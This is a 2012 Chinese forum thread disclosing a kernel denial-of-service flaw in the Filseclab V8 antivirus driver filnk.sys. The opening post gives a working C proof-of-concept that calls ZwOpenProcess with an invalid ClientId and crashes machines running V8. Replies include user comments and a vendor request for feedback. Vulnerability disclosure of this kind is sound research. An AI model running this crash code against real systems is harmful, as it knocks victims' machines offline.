费尔V8智能杀毒多处内核拒绝服务漏洞

显示全部楼层 · 发表于 2012-5-18 16:57:55

本帖最后由 hu3167343 于 2012-5-18 17:11 编辑

V8藏着掖着搞了这么多年，除了主界面弄了个毫无用处的动画外，其他附加的程序，例如“隔离区”，“日志管理器”等都是老版本的程序，感觉连个人作品都不如，山寨中的战斗机。哎，让吾等正版用户及其失望。

V8杀毒软件的动态防御驱动filnk.sys在内核对多个系统函数进行了hook，但是对Ring3传递进来的参数都没有任何的有效性检查就直接使用了。因此，造成了内核拒绝服务漏洞。

这里以其Hook的NtOpenProcess为例，函数偏移6A8C0

如上图可以看出，Ring3传递进来的ClientId参数，其在内核中就直接使用了，并没有做任何有效性检查。

测试代码：
/*
作者：莫灰灰
博客：http://hi.baidu.com/new/minzhenfei/
描述：费尔V8智能杀毒内核拒绝服务漏洞测试程序
*/
#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
HMODULE hMod = LoadLibrary(L"ntdll.dll");

if (hMod)
{
PVOID p = GetProcAddress(hMod, "ZwOpenProcess");

if (p)
{
printf("Your System Will Crash, Press any key to Continue.\n");
getchar();

__asm{
push 0x80000000
push 0
push 1
push 0
call p
}
}
}

return 0;
}

测试程序：

在装有费尔V8，并且开启了所有监控的机器上，如果运行附件中的程序，那么就会蓝屏重启。
正常未安装V8的机器无影响。

显示全部楼层 · 发表于 2012-5-18 17:06:04

本帖最后由 25743512 于 2012-5-18 17:20 编辑

有点意思了。。

我也觉的就是界面变更了一下。。。

然后测试期间还请大家多多提意见

反馈邮箱: kefu@filseclab.com

显示全部楼层 · 发表于 2012-5-18 17:06:16

膜拜大神

显示全部楼层 · 发表于 2012-5-18 17:08:18

费尔V7用的时间实在不多但是如果老板的一些功能很实用延续下来还是不错的只有新亮点存在就好

显示全部楼层 · 发表于 2012-5-18 17:11:20

看灰灰童鞋的描述，这个驱动有点山寨了

显示全部楼层 · 发表于 2012-5-18 17:14:20

jefffire 发表于 2012-5-18 17:11
看灰灰童鞋的描述，这个驱动有点山寨了

一个驱动能写700多K，这个工程量已经算是蛮大了。可惜程序员安全意识不高。

显示全部楼层 · 发表于 2012-5-18 17:17:30

来踢馆的啊，看着命名！

显示全部楼层 · 发表于 2012-5-18 17:20:27

收到，欢迎测试，遇到问题请及时反馈意见到 kefu@filseclab.com 。

显示全部楼层 · 发表于 2012-5-18 17:21:09

Filseclab 发表于 2012-5-18 17:20
收到，欢迎测试，遇到问题请及时反馈意见到 kefu@filseclab.com 。

邮件反馈了。没回。

显示全部楼层 · 发表于 2012-5-18 17:21:14

看看踢馆

[费尔] 费尔V8智能杀毒多处内核拒绝服务漏洞

本帖子中包含更多资源